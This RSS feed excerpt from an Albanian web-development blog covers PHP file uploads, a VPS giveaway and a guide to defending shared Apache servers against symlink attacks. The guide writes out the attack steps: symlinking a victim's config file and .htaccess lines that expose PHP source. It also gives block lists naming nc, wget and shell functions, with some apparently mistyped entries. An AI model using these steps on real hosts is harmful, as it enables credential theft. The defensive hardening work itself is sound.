style="color: #009900;">&#123;</span></li><li>		<span style="color: #000088;">$tmp</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$skedaret_tmp</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$celesi</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span></li><li>&nbsp;</li><li>		<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #990000;">move_uploaded_file</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$tmp</span><span style="color: #339933;">,</span> <span style="color: #000088;">$emri</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span></li><li>			<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;Skedari <span style="color: #006699; font-weight: bold;">$emri</span> u ngarkua me sukses.&quot;</span><span style="color: #339933;">;</span></li><li>		<span style="color: #009900;">&#125;</span> <span style="color: #b1b100;">else</span> <span style="color: #009900;">&#123;</span></li><li>			<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;Ndodhi nje problem gjate ngarkimit te skedarit <span style="color: #006699; font-weight: bold;">$emri</span>.&quot;</span><span style="color: #339933;">;</span></li><li>		<span style="color: #009900;">&#125;</span></li><li>	<span style="color: #009900;">&#125;</span></li><li><span style="color: #009900;">&#125;</span></li><li><span style="color: #000000; font-weight: bold;">?&gt;</span></li></ol></div></pre><!--END_DEVFMTCODE--></p>
<p>Dyshoj të jetë e komplikuar sepse nuk është asgjë më shumë se shfletim vektori dhe në momentin që e keni të qartë strukturën, asgjë nuk i mbetet rastësisë. Pjesa që ndoshta mund t&#8217;ju hutojë pak është përdorimi i çelësave të vektorit $emri për të referencuar vlerat e vektorit $skedaret_tmp. Si ç&#8217;e kam komentuar në kod, e gjithë ideja këtu është që çelësat në secilin vektor janë të njëjtë dhe përputhen për skedarët e ndryshëm. Pra, skedari i parë e ka emrin në elementin me çelësin 0 si në vektorin &#8220;name&#8221;, ashtu edhe në vektorin &#8220;tmp_name&#8221;.</p>
<p>Vektorët multi-dimensionalë janë ndër strukturat e të dhënave më komplekse në PHP, duke qenë se mund të shkojnë në thellësi virtualisht të pafundme të cilat bëhen të vështira të shfletohen. Nëse keni probleme ti kuptoni, kam shkruar një guidë të dedikuar për to që titullohet &#8220;<a href="http://feniksi.com/web/php/vektoret-ne-php/" title="Vektoret ne PHP">Vektorët në PHP</a>&#8220;. Krahas koncepteve tipike për vektorët, kam shpjeguar edhe si ndërtohen dhe shfletohen vektorët multi-dimensionalë, së bashku me disa funksione interesante të dedikuar për ta. Vektori multi-dimensional në rastin tonë është fare i thjeshtë, por nuk është çudi ta hutojë një fillestar.</p>
<h2>Si ta Përmirësoni Eskperiencën e Ngarkimit</h2>
<p>E vërteta është që forma standarte e ngarkimit të skedarëve nuk i ofron shumë vizitorëve. Nuk ka asnjë shenjë progresi (vetëm nëse e merr përsipër shfletuesi, si psh Chrome) deri sa skedari të ngarkohet dhe për raste ku madhësia është e konsiderueshme, mund të kërkojë aq kohë sa vizitori të hamendësojë se proçesi ka mbaruar apo ka ndodhur një problem. Sigurisht, në plot raste nuk është e nevojshme, sidomos aty ku ngarkohen skedarë të vegjël, por nëse doni ta çoni aplikacionin në nivelin tjetër, ju duhet të ofroni një zgjidhje të mirë.</p>
<p>Për fat të keq, PHP nuk ofron asgjë për të treguar progresin e ngarkimit dhe limitohet vetëm në transferimin e skedarit. Praktikisht është e pamundur me PHP dhe të vetmet zgjidhje që mbaj mend kanë qenë me versione të modifikuara (PHP e patch-uar). Kjo e fundit vështirë se mund të quhet zgjidhje dhe personalisht as nuk kam tentuar ta shoh si funksionon. Nga ana tjetër, zgjidhje të mira egzistojnë duke përdorur teknologji alternative ndaj PHP.</p>
<p>Një zgjidhje mjaft popullore vitet e fundit për të ofruar indikator progresi gjatë ngarkimit është duke përdorur Flash. Dakort, jo të gjithë janë përkrahës të Flash, përfshi edhe mua, por në këtë rast e bën punën shumë mirë. Më e mira është se Flash ka akses në parametra si madhësia e skedarait dhe sasia e ngarkuar, kështu që me pak llogaritje mund të nxirret progresi. Alternativa gati për përdorim ka plot, por i preferuari im është <a href="http://www.uploadify.com/" title="Uploadify">Uploadify</a>. E kam përdorur shpesh në projekte dhe përvec se funksionon shumë mirë dhe instalohet për 2 minuta, ka plot opsione konfigurimi për ta përshtatur me nevojat tuaja.</p>
<div id="attachment_2553" class="wp-caption aligncenter" style="width: 394px"><img src="http://feniksi.com/wp-content/uploads/2011/12/uploadify.png" alt="Pamje nga ngarkuesi Uploadify" title="Pamje nga ngarkuesi Uploadify" width="384" height="284" class="size-full wp-image-2553" />
<p class="wp-caption-text">Pamje nga ngarkuesi Uploadify</p>
</div>
<p>Alternativa që me siguri do bëhet standarti i të ardhmes është duke përdorur XMLHttpRequest, atë që vë AJAX në jetë. Ashtu si thirrjet AJAX, në shfletuesit modernë është e mundur të dërgohen skedarë binarë dhe të shfaqet progresi i ngarkimit. E mira këtu është se s&#8217;ka nevojë për Flash, gjë që e bën zgjidhje të pastër në Javascript. Një zgjidhje e gatshme që përdor XHR është <a href="http://valums.com/ajax-upload/" title="Ajax Upload">Ajax Upload</a>. Ofron zgjedhje dhe ngarkim të shumë-fishtë skedarësh, hedhje e skedarëve direkt në shfletues me drag-and-drop dhe kthim në iFrame të fshehur për shfletues të vjetër. I vetmi problem është se indikatori i progresit funksionon vetëm në Firefox 3.6+, Chrome 6+ dhe Safari 4+.</p>
<h2>Përfundimi</h2>
<p>Besoj se gjithçka ka qenë e thjeshtë dhe nuk kemi eksploruar me tepër se disa funksione PHP. Megjithatë, ngarkimi i skedarëve është një opsion që ju duhet patjetër ta keni në arsenalin e njohurive. Nuk ju falet nëse nuk përvetësoni diçka kaq të thjeshtë <img src='http://feniksi.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>E vetmja pjesë ku kompleksiteti rritet pak është ngarkimi i 2 ose më shumë skedarëve dhe për këtë kanë rol vektorët multi-dimensional. Kodi që ju kam ilustruar në sektorin përkatës është praktikisht gjithçka ju duhet dhe mund të përdorni atë për ta zgjeruar në bazë të kërkesave personale dhe validimit që do të ofroni.</p>
<p>Mësim të mbarë.</p>
]]></content:encoded>
			<wfw:commentRss>http://feniksi.com/web/php/ngarkimi-i-skedareve-ne-php/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Dhuratë: VPS nga VPSNine.com</title>
		<link>http://feniksi.com/web/dhurata/dhurate-vps-nga-vpsnine-com/</link>
		<comments>http://feniksi.com/web/dhurata/dhurate-vps-nga-vpsnine-com/#comments</comments>
		<pubDate>Mon, 07 Nov 2011 10:58:20 +0000</pubDate>
		<dc:creator>Fadion Dashi</dc:creator>
				<category><![CDATA[Dhurata]]></category>
		<category><![CDATA[vpsnine]]></category>
		<category><![CDATA[vpsnine.com]]></category>

		<guid isPermaLink="false">http://feniksi.com/?p=2515</guid>
		<description><![CDATA[VPSNine.com ofron një dhuratë fantastike për një vizitor të Feniksit: VPS falas për 3 muaj. Mjafton të komentoni dhe fituesi do të zgjidhet rastësisht më datë 14 Nëntor 2011. Falenderoni VPSNine për bujarinë!]]></description>
			<content:encoded><![CDATA[<blockquote><p>Fituesi i kësaj dhurate fantastike është: <strong>Fatlum</strong> me adresë e-maili: <strong>lumi-lucki@*****.com</strong>. Do të kontaktojmë për të të dhënë dhuratën. Urime!</p>
<p>Fituesi u zgjodh rastësisht nga një aplikacion i vogël i krijuar posaçërisht për këtë qëllim. Aplikacioni merr automatikisht nga faqja të gjithë emrat e komentuesëve dhe nxjerr një emër të rastësishëm.</p></blockquote>
<p>Një tjetër dhuratë fantastike, një tjetër fitues potencial. E sigurtë është që vizitorët e Feniksit jo vetëm po përfitojnë guida cilësore, por po fitojnë gjithashtu.</p>
<p>Këtë rradhe duhet ti themi faleminderit <a href="https://www.vpsnine.com/" title="VPSNine" target="_blank">VPSnine.com</a> për dhuratën fantastike. Ofrohet një VPS (paketa VPS384) falas për 3 muaj për 1 vizitor të Feniksit, me vlerë $30. Ata që nuk e njohin, VPSNine është një kompani e re hostimi, e drejtuar nga një shqiptar dhe që specializohet për VPS. Sigurohuni ti hidhni një sy sepse ka vërtetë çmime të mira dhe shërbim cilësor.</p>
<p>Për të marrë pjesë në këtë konkurs të vogël, mjafton të shkruani një koment falenderimi për VPSNine:</p>
<blockquote><p>I Love VPSNine</p></blockquote>
<p>Fituesi do të zgjidhet rastësisht nga lista e komentuesëve pas 1 jave: më datë 14 Nëntor 2011.</p>
<p>Ju uroj fat.</p>
]]></content:encoded>
			<wfw:commentRss>http://feniksi.com/web/dhurata/dhurate-vps-nga-vpsnine-com/feed/</wfw:commentRss>
		<slash:comments>29</slash:comments>
		</item>
		<item>
		<title>Shmangja e Problemeve të Sigurisë nga Symlinks</title>
		<link>http://feniksi.com/administrim-serverash/linux/shmangja-e-problemeve-te-sigurise-nga-symlinks/</link>
		<comments>http://feniksi.com/administrim-serverash/linux/shmangja-e-problemeve-te-sigurise-nga-symlinks/#comments</comments>
		<pubDate>Thu, 20 Oct 2011 18:58:00 +0000</pubDate>
		<dc:creator>Luan Gjokaj</dc:creator>
				<category><![CDATA[Apache]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[apache]]></category>
		<category><![CDATA[Cfare eshte nje Symlink?]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[shared host]]></category>
		<category><![CDATA[symlinks]]></category>

		<guid isPermaLink="false">http://feniksi.com/?p=2497</guid>
		<description><![CDATA[Symlinks janë në sistemet UNIX, ekuivalente me shortcuts në Windows. Kjo guidë do ju tregojë një teknikë të thjeshtë dhe të aksesueshme nga kushdo për të mbrojtur serverat shared nga problemet e sigurisë që Symlinks krijojnë.]]></description>
			<content:encoded><![CDATA[<h2>Çfarë është një Symlink?</h2>
<p>Symlink (Symbolic Link ose Soft Link) është një tip i veçantë skedari që përmban lidhje me një skedar tjetër në sistemet UNIX dhe çdo derivat të tij. Praktikisht mund ta konsideroni si shortcuts në sistemet Windows.</p>
<p>Nëse do doja të krijoja një Symlink të skedarit &#8220;/home/feniksi/skedari.php&#8221; në skedarin &#8220;/home/luani/feniksi.php&#8221;, do shkruaja një komandë si më poshtë:</p>
<p><!--DEVFMTCODE--><pre class="devcodeblock" title="INI"><div class="devcodeoverflow"><ol><li>ln -s /home/feniksi/skedari.php /home/luani/feniksi.php</li></ol></div></pre><!--END_DEVFMTCODE--></p>
<p>Komanda &#8220;ln&#8221;, nëse thërritet pa parametrin &#8220;-s&#8221;, krijon Hard Links, të cilat janë të ndryshëm në koncept nga Symlinks. Duke shtuar parametrin &#8220;-s&#8221;, linku i krijuar është Symlink. Në rastin më sipër, kam krijuar një Symlink për &#8220;skedari.php&#8221; të quajtur &#8220;feniksi.php&#8221;.</p>
<p>Një Symlink referencon direkt skedarin origjinal, qoftë në egzekutim apo lexim. Kjo e fundit, pra leximi i skedarëve origjinalë duke krijuar Symlinks, është edhe tema e kësaj guide.</p>
<h2>Siguria lidhur me Symlinks</h2>
<p>Problemi nga të cilët vuajnë serverat shared është se i lejojnë sulmuesëve të krijonë Symlinks që referencojnë skedarë që nuk u përkasin. Nëse këto skedarë janë opsione konfigurimi të viktimave, që përmbajnë të dhënat e databazës apo fjalëkalimin e administratorit, teknika bëhet vërtetë e rrezikshme. Serveri Web më popullor në planet, Apache, e ka të aktivizuar automatikisht opsionin &#8220;FollowSymlinks&#8221;, gjë që e bën vulnerabël.</p>
<p>Le të shohim një skenar se si sulmuesi mund të përdorë Symlinks për të marrë të dhëna sensitive nga viktima.</p>
<ol>
<li>Sulmuesi ngarkon &#8220;php shell&#8221; tek llogaria e tij në server ose mund të ketë akses direkt në shell, për të egzekutuar komanda.</li>
<li>Krijon një Symlink të skedarit të konfigurimit të viktimës.</li>
<li>E lexon atë skedar dhe merr të dhënat e konfigurimit.</li>
</ol>
<p>Duke mbetur në skenarin më sipër, sulmuesi mund të egzekutonte një komandë të tillë:<br />
<!--DEVFMTCODE--><pre class="devcodeblock" title="INI"><div class="devcodeoverflow"><ol><li>ln -s /home/viktima/public_html/konfigurimi.php /home/sulmuasi/public_html/newfolder/konfigurimi.php</li></ol></div></pre><!--END_DEVFMTCODE--></p>
<p>Skedari &#8220;konfigurimi.php&#8221; i viktimës mund të ketë të dhënat e databazës së viktimës, gjë që ja bën shumë të lehtë punën sulmuesit. I mjafton të ngarkojë një aplikacion PHP që menaxhon databazat MySQL dhe të vendosë të dhënat e marra nga viktima. Automatikisht ka akses të bëjë gjithçka me atë databazë, qoftë ta manipulojë apo ta fshijë.</p>
<p>Edhe nëse FollowSymlinks nuk është e aktivizuar në Apache, sulmuesi mund ta aktivizojë me .htaccess duke vendosur +FollowSymlinks. Gjithashtu mund të bëjë që skedarët PHP të lexohen si tekst, duke shtuar AddHandler dhe AddType respektive, përsëri në .htaccess.</p>
<p><!--DEVFMTCODE--><pre class="devcodeblock" title="INI"><div class="devcodeoverflow"><ol><li>+FollowSymlinks</li><li>&nbsp;</li><li>AddHandler txt .php</li><li>AddType txt .php</li></ol></div></pre><!--END_DEVFMTCODE--></p>
<h2>Si të mbroheni nga Symlinks</h2>
<p>Metoda që do ju tregoj funksionon për pjesën më të madhe të rasteve dhe do ju sigurojë që Symlinks mos të abuzohen nga njerëz me qëllime përfitimi. Duke qenë se ka pasur shumë sulme të tilla, sidomos kohët e fundit me përhapjen e teknikës, ju këshilloj të merrni masa të menjëhershme. Më poshtë do ju tregoj 2 teknika, ose më mirë 2 raste në bazë të nivelit të aksesit që keni në server: Administrator ose Klient i një serveri shared.</p>
<h3>Administratorët</h3>
<p>Nëse jeni administrator i serverit, mund të shmangni problemet duke konfiguruar Apache-n që të mos lejojë mbivendosjen e opsionit FollowSymlinks. Konfigurimi është fare i thjeshtë dhe mund ta bëjë kushdo.</p>
<p>Fillimisht gjeni vendodhjen e skedarit të konfigurimit të Apache: httpd.conf. Kjo varet nga mënyra e instalimit. Psh, mund të jetë tek: /usr/local/apache/conf/httpd.conf.</p>
<p>Hapeni skedarin &#8220;httpd.conf&#8221; me një editor dhe gjeni rreshtin: <Directory "/">. Duhet të duket e ngjashme me:</p>
<p><!--DEVFMTCODE--><pre class="devcodeblock" title="INI"><div class="devcodeoverflow"><ol><li>&lt;Directory <span style="color: #933;">&quot;/&quot;</span>&gt;</li><li>	Options ExecCGI -FollowSymLinks Includes IncludesNOEXEC Indexes MultiViews SymLinksIfOwnerMatch</li><li>	AllowOverride All</li><li>&lt;/Directory&gt;</li></ol></div></pre><!--END_DEVFMTCODE--></p>
<p>Direktiva &#8220;AllowOverride All&#8221; do të thotë se Apache i lejon të mbivendosen lokalisht opsionet përmes .htaccess. Kjo s&#8217;na intereson, sepse i lejon sulmuesëve të mbivendosin opsionin FollowSymlinks dhe të përfitojnë nga Symlinks. Do përcaktoj një listë të vetëm atyre opsioneve që na interesojnë të mbivendosen, duke i bllokuar të tjerat.</p>
<p>Tek &#8220;AllowOverride All&#8221; ndryshojeni në &#8220;AllowOverride AuthConfig FileInfo Indexes Limit Options=Includes,Indexes,MultiViews&#8221;. Duhet të duket si më poshtë:</p>
<p><!--DEVFMTCODE--><pre class="devcodeblock" title="INI"><div class="devcodeoverflow"><ol><li>&lt;Directory <span style="color: #933;">&quot;/&quot;</span>&gt;</li><li>	Options ExecCGI -FollowSymLinks Includes IncludesNOEXEC Indexes MultiViews SymLinksIfOwnerMatch</li><li>	AllowOverride AuthConfig FileInfo Indexes Limit Options<span style="color: #000066; font-weight:bold;">=</span><span style="color: #660066;">Includes,Indexes,MultiViews</span></li><li>&lt;/Directory&gt;</li></ol></div></pre><!--END_DEVFMTCODE--></p>
<p>Pasi ta keni bërë ndryshimin dhe ta keni ruajtur skedarin, bëni restart Apache-n. Zakonisht mjafton të shkruani komandën më poshtë, por kjo varet nga distro e Linux dhe mënyra e instalimit.</p>
<p><!--DEVFMTCODE--><pre class="devcodeblock" title="INI"><div class="devcodeoverflow"><ol><li>service httpd restart</li></ol></div></pre><!--END_DEVFMTCODE--></p>
<p>Në këtë moment e keni siguruar serverin tuaj nga problemet e sigurisë që Symlinks krijojnë. Nëse një sulmues do tentojë të aktivizojë opsionin FollowSymlinks, në atë direktori do të shfaqet &#8220;Internal Server Error&#8221;. Një ndryshim shumë i vogël, por me rëndësi të madhe për të ruajtur integritetin të dhënave në serverin tuaj.</p>
<blockquote><p>Nëse përdorni opsionet automatike të WHM, në shumë raste ai e rindërton konfigurimin e Apache. Sigurohuni të kontrolloni nëse AllowOverride është kthyer në &#8220;All&#8221;, apo ka mbetur si ç&#8217;e shkruajta më lart.</p></blockquote>
<h3>Klientët</h3>
<p>Klientët normalisht nuk kanë akses në opsionet e konfigurimit të Apache, kështu që alternativat janë më të pakta. Por, për fat të mirë, pjesa më e madhe e serverave shared lejojnë krijimin e skedarëve .htaccess për të mbivendosur konfigurimet bazë të Apache.</p>
<p>Fillimisht krijoni një skedar me emër &#8220;.htaccess&#8221; (pika është e rëndësishme) në direktorinë ku ndodhet skedari i konfigurimit. Më pas, hapeni me një editor dhe vendosni kodin më poshtë:</p>
<p><!--DEVFMTCODE--><pre class="devcodeblock" title="INI"><div class="devcodeoverflow"><ol><li>&lt;Files <span style="color: #933;">&quot;konfigurimi.php&quot;</span>&gt;</li><li>Order Deny,Allow</li><li>Deny from All</li><li>&lt;/Files&gt;</li></ol></div></pre><!--END_DEVFMTCODE--></p>
<p>Kjo i bllokon të gjitha tentativat për të aksesuar skedarin, qoftë nga interneti apo përmes Symlinks. Emri &#8220;konfigurimi.php&#8221; është thjeshtë si shembull dhe normalisht do duhet ta ndërroni me emrin e skedarit tuaj të konfigurimit. Gjithashtu, do ju duhet të bëni të njëjtin veprim për çdo skedar që përmban të dhëna kritike.</p>
<h2>Siguroni skriptet PHP nga funksionet e rrezikshme</h2>
<p>Me zgjidhjen e problemeve nga Symlinks, ju mbetet edhe një gjë tjetër po aq e thjeshtë që i përket vetëm administratorëve të serverave. Bëhet fjalë për bllokimin e disa funksioneve të rrezikshme të PHP që mund të përdoren nga sulmuesit për të kryer dëme.</p>
<p>Gjeni skedarin e konfigurimit të PHP-së, php.ini, dhe hapeni me një editor. Bëni ndryshimet në direktivat e shënuara më poshtë:</p>
<p><!--DEVFMTCODE--><pre class="devcodeblock" title="INI"><div class="devcodeoverflow"><ol><li>cgi.force_redirect <span style="color: #000066; font-weight:bold;">=</span><span style="color: #660066;"> 0</span><span style="color: #666666; font-style: italic;">;</span></li><li>cgi.fix_pathinfo <span style="color: #000066; font-weight:bold;">=</span><span style="color: #660066;"> 0</span><span style="color: #666666; font-style: italic;">;</span></li><li>cgi.discard_path <span style="color: #000066; font-weight:bold;">=</span><span style="color: #660066;"> 1</span><span style="color: #666666; font-style: italic;">;</span></li><li><span style="color: #000099;">disable_functions</span> <span style="color: #000066; font-weight:bold;">=</span><span style="color: #660066;"> disk_total_space, diskfreespace, apache_note, apache_setenv, closelog, debugger_off, debugger_on, define_syslog_variables, escapeshellarg, escapeshellcmd, ini_restore, openlog, passthru, pclose, pcntl_exec, popen, proc_close, proc_get_status, proc_nice, proc_open, proc_terminate, shell_exec, syslog, system, url_exec, base64_encodem, readlink, eval, glob, root, symlink</span><span style="color: #666666; font-style: italic;">;</li></ol></div></pre><!--END_DEVFMTCODE--></p>
<p>Gjithashtu, për të mos lejuar që klientët të përdorin php.ini individuale dhe për të mos lejuar që klientët ti ndryshojnë ose ti fshijnë funksionet e rrezikshme në &#8220;disable_functions&#8221;, mjafton të ndryshoni konfigurimin e suPHP, i cili ndodhet në: /opt/suphp/etc/suphp.conf.</p>
<p>Hapeni atë skedar dhe gjeni rreshtat më poshtë:</p>
<p><!--DEVFMTCODE--><pre class="devcodeblock" title="INI"><div class="devcodeoverflow"><ol><li><span style="color: #000066; font-weight:bold;"><span style="">&#91;</span>phprc_paths<span style="">&#93;</span></span></li><li><span style="color: #666666; font-style: italic;">;Uncommenting these will force all requests to that handler to use the php.ini</span></li><li><span style="color: #666666; font-style: italic;">;in the specified directory regardless of suPHP_ConfigPath settings.</span></li><li><span style="color: #666666; font-style: italic;">;application/x-httpd-php=/usr/local/lib/</span></li><li><span style="color: #666666; font-style: italic;">;application/x-httpd-php4=/usr/local/php4/lib/</span></li><li><span style="color: #666666; font-style: italic;">;application/x-httpd-php5=/usr/local/lib/</li></ol></div></pre><!--END_DEVFMTCODE--></p>
<p>Ndryshojini në:</p>
<p><!--DEVFMTCODE--><pre class="devcodeblock" title="INI"><div class="devcodeoverflow"><ol><li><span style="color: #000066; font-weight:bold;"><span style="">&#91;</span>phprc_paths<span style="">&#93;</span></span></li><li><span style="color: #666666; font-style: italic;">;Uncommenting these will force all requests to that handler to use the php.ini</span></li><li><span style="color: #666666; font-style: italic;">;in the specified directory regardless of suPHP_ConfigPath settings.</span></li><li>application/x-httpd-php<span style="color: #000066; font-weight:bold;">=</span><span style="color: #660066;">/usr/local/lib/</span></li><li>application/x-httpd-php4<span style="color: #000066; font-weight:bold;">=</span><span style="color: #660066;">/usr/local/php4/lib/</span></li><li>application/x-httpd-php5<span style="color: #000066; font-weight:bold;">=</span><span style="color: #660066;">/usr/local/lib/</li></ol></div></pre><!--END_DEVFMTCODE--></p>
<p>Në fakt thjeshtë kam hequr komentet, dmth pikë-presjet &#8220;;&#8221; nga çdo direktivë. Do ju duhet të bëni restart edhe një herë Apache-t dhe në fund të çaktivizoni Safe Mode në php.ini.</p>
<p><!--DEVFMTCODE--><pre class="devcodeblock" title="INI"><div class="devcodeoverflow"><ol><li>safe_mode <span style="color: #000066; font-weight:bold;">=</span><span style="color: #660066;"> Off</li></ol></div></pre><!--END_DEVFMTCODE--></p>
<p>Si ekstra, do ju sugjeroja të çaktivizoni disa komanda për klientë dhe ti lini vetëm për administratorin. Këtë mund ta bëni përmes SSH (Secure Shell), duke shkruar rreshtat më poshtë:</p>
<p><!--DEVFMTCODE--><pre class="devcodeblock" title="INI"><div class="devcodeoverflow"><ol><li>chmod 0700 /bin/ln</li><li>chmod 0700 /bin/su</li><li>chmod 0700 /bin/cat</li><li>chmod 0700 /bin/pwd</li><li>chmod 0700 /bin/kill</li><li>chmod 0700 /bin/doexec</li><li>chmod 0700 /bin/link</li><li>chmod 0700 /bin/chmod</li><li>chmod 0700 /bin/netstat</li><li>chmod 0500 /bin/ps</li><li>chmod 0700 /bin/df</li><li>chmod 0700 /usr/bin/lynx</li><li>chmod 0700 /usr/bin/gcc</li><li>chmod 0700 /usr/bin/nc</li><li>chmod 0700 /usr/bin/wget</li><li>chmod 0700 /usr/bin/scp</li><li>chmod 0700 /usr/bin/cvs</li><li>chmod 0700 /usr/bin/telnet</li><li>chmod 0700 /usr/bin/symlinks</li><li>chmod 0500 /usr/bin/w</li><li>chmod 0500 /usr/bin/who</li><li>chmod 0500 /usr/bin/free</li><li>chmod 0500 /usr/bin/vmstat</li><li>chmod 0700 /usr/bin/ld</li><li>chmod 0700 /usr/bin/tail</li><li>chmod 0700 /usr/bin/tailf</li><li>chmod 0700 /usr/bin/du</li><li>chmod 0700 /usr/bin/find</li><li>chmod 0700 /usr/bin/whoami</li><li>chmod 0700 /usr/bin/ld86</li><li>chmod 0700 /usr/bin/ldd</li><li>&nbsp;</li><li>&nbsp;</li><li>chmod 0700 /usr/lib/gcc</li><li>chmod 0700 /usr/lib/gcc-lib</li><li>&nbsp;</li><li>chmod <span style="">700</span> /usr/bin/perlcc</li><li>chmod <span style="">700</span> /usr/bin/byacc</li><li>chmod <span style="">700</span> /usr/bin/yacc</li><li>chmod <span style="">700</span> /usr/bin/bcc</li><li>chmod <span style="">700</span> /usr/bin/kgcc</li><li>chmod <span style="">700</span> /usr/bin/cc</li><li>chmod <span style="">700</span> /usr/bin/gcc</li><li>chmod <span style="">700</span> /usr/bin/i386*cc</li><li>chmod <span style="">700</span> /usr/bin/*c++</li><li>chmod <span style="">700</span> /usr/bin/*g++</li><li>chmod <span style="">700</span> /usr/lib/bcc /usr/lib/bcc/bcc-cc1</li><li>chmod <span style="">700</span> /usr/i386-glibc21-linux/lib/gcc-lib/i386-redhat-linux/<span style="">2.96</span>/cc1</li></ol></div></pre><!--END_DEVFMTCODE--></p>
<h2>Përfundimi</h2>
<p>Me vetëm disa ndryshime të thjeshta konfigurimi, siguruam që serverat shared të mos vuajnë nga problemet që sjellin Symlinks. Qofshit Administratorë apo thjeshtë Klientë të një serveri, hapat e mësipërm mund të ndiqen nga kushdo, me çdo nivel eksperience në Linux dhe menaxhim serverash web. Më e rëndësishmja është që bllokoni një sulm shumë të përhapur që mund ti rrezikojë shumë të dhënat tuaja personale.</p>
]]></content:encoded>
			<wfw:commentRss>http://feniksi.com/administrim-serverash/linux/shmangja-e-problemeve-te-sigurise-nga-symlinks/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>Siguria në PHP</title>
		<link>http://feniksi.com/web/php/siguria-ne-php/</link>
		<comments>http://feniksi.com/web/php/siguria-ne-php/#comments</comments>
		<pubDate>Wed, 19 Oct 2011 22:50:43 +0000</pubDate>
		<dc:creator>Fadion Dashi</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[csrf]]></category>
		<category><![CDATA[siguri]]></category>
		<category><![CDATA[sql injection]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://feniksi.com/?p=2435</guid>
		<description><![CDATA[Për një programues web, siguria e aplikacioneve që krijon është ndër elementët kyç. S'mund të pretendosh që një sistem funksionon mirë kur s'janë marrë masat për të shmangur problemet kryesore të sigurisë. Në këtë guidë të gjatë do ju tregoj teknikat tipike që sulmuesit përdorin për të përftuar nga aplikacionet PHP dhe mënyrat si të mbroheni. ]]></description>
			<content:encoded><![CDATA[<p>Aplikacionet PHP kanë vuajtur prej vitesh nga probleme tipike sigurie dhe për fat të keq, vazhdojnë të vuajnë. Siguria nuk është temë që përfshin vetëm PHP në fakt, sepse çdo platformë e ekspozuar përfshihet nga rreziqet. Por, popullariteti i PHP-së, disa funksione të gjuhës, aplikacionet Open Source dhe më e rëndësishmja, padituria e programuesëve, e kanë bërë gjuhën të jetë më e shënjestruara nga keqbërësit.</p>
<p>Në këtë guidë do ju tregoj rastet tipike që një sulmues përdor për të përftuar nga një aplikacion PHP. Do të përfshij disa koncepte bazë që duhen respektuar përgjithësisht gjatë kodimit dhe shembuj konkretë sulmimi dhe mbrojtjeje. Duke qenë se vetëm një pjesë e vogël merret me opsione konfigurimi të PHP, praktikisht të gjitha teknikat mund të implementohen në gjuhë të tjera programimi për web. Mbani mend që siguria nuk është problem i një gjuhe. Edhe pse PHP ka disa opsione konfigurimi që s&#8217;mund të quhen zgjedhje të mira, në fund, përgjegjësia është tërësisht e programuesit. Nuk mund të fajësosh gjuhën për zgjedhje të gabuara në kodim apo mos dituri në limitet e saj.</p>
<h2>Cilët Janë Sulmuesit</h2>
<p>Si ç&#8217;do lexoni në vazhdim të guidës, fjalën &#8220;sulmues&#8221; do e përdor shpesh për t&#8217;ju referuar dikujt që tenton të gjejë vrima sigurie në aplikacione. E vërteta është se jo çdo person është negativ. Ndërsa disa mund të kenë qëllime përfitimi, si marrja e emaileve (për lista spam) apo e kartave të kreditit të anëtarëve, disa të tjerë mund ta bëjnë për hobi ose për të mësuar dhe nëse arrijnë ta thyejnë, me siguri do ju kontaktojnë për ta rregulluar. Nëse ndodh kjo e fundit, ju këshilloj nga eksperienca që ta lini egon mënjanë dhe ta konsideroni prioritar çdo lajmërim në lidhje me sigurinë. Nuk është çudi që një sulmues me qëllime të mira të kthehet kundra jush nëse e sheh që nuk ktheni përgjigje ose i përgjigjeni në mënyrën e gabuar.</p>
<p>Si do të jetë qëllimi i sulmuesit, ky i fundit mbetet një rrezik për sistemin dhe si ç&#8217;do mësoni më poshtë, askush nuk besohet.</p>
<h2>Muri Mbrojtës</h2>
<p>Siguria më e mirë vjen nga të qenurit paranoik dhe mos besimi i askujt. Gjatë të gjithë historisë së njerëzimit, mbretëritë ndërtonin mure mbrojtës për të lënë jashtë këdo që s&#8217;i përkiste dhe për t&#8217;ja bërë jetën ferr sulmuesëve. Sot, në botën e civilizuar, përdoren mjete si kamera dhe sisteme alarmi për të identifikuar dhe lajmëruar çdo &#8220;sulm&#8221; të mundshëm. Kur jashtë në rrugë jemi kaq paranoik, pse mos të jemi edhe në aplikacionet që kodojmë?</p>
<p>Besoj e kuptuat ku dua të dal! Mbrojtja më e mirë është mos besimi dhe ndërtimi i aplikacioneve në mënyrë të tillë ku çdo vizitor konsiderohet si sulmues. Ashtu si jo çdo person që futet në një qendër tregtare të monitoruar me kamera është keqbërës, edhe në aplikacione PHP jo çdo vizitor është sulmues. Problemi qendron se është e pamundur të parashikohet dhe nëse konsiderohen të gjithë &#8220;sulmues&#8221;, ju siguroj që do të jetë shumë më e lehtë të lini jashtë ata që vërtetë kanë qëllime keqdashëse. Mbrojtja nga sulmet duhet të kthehet në filozofi gjatë projektimit dhe programimit të sistemeve, jo thjeshtë në disa teknika tipike.</p>
<p>Për ta bërë pak më praktike, ideja e mos besimit të askujt do të thotë të mos besoni të dhënat hyrëse të askujt. Këto mund të jenë variabla në URL (GET), forma, sesione apo cookies. Praktikisht çdo e dhënë që mund të manipulohet në një sistem, konsiderohet si e dhënë hyrëse dhe absolutisht nuk duhet besuar. Nëse nuk dini akoma si ti identifikoni të dhënat hyrëse, mos u merakosni sepse në vazhdim do të qartësoheni.</p>
<h2>Konfigurimi i PHP-së</h2>
